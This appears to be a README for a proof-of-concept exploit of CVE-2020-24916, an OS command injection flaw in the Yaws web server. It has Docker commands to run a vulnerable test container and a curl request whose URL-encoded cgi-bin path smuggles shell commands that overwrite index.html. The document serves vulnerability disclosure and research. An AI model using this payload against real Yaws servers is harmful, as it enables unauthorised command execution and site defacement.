OS command injection in Yaws web server (CVE-2020-24916)

Proof of concept

Build test image:

```
docker build -t vulnbe/yaws-pocs:shell-injection-appmod-cgi -f Dockerfile .
```

and/or

Run container `docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:shell-injection-appmod-cgi`

```
curl 'http://127.0.0.1:8000/cgi-bin/%22%60export%20Z=$(pwd%7Ccut%20-c1);echo%20pawned%20completely%3E%3E..$Z%22%22index.html%60%22'
curl http://127.0.0.1:8000/index.html
```

Credit

Alexey Pronin (@vulnbe)

References

- Vulnerability analysis
- Yaws on github
- CVE-2020-24916
- CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

Languages

● Dockerfile 100.0%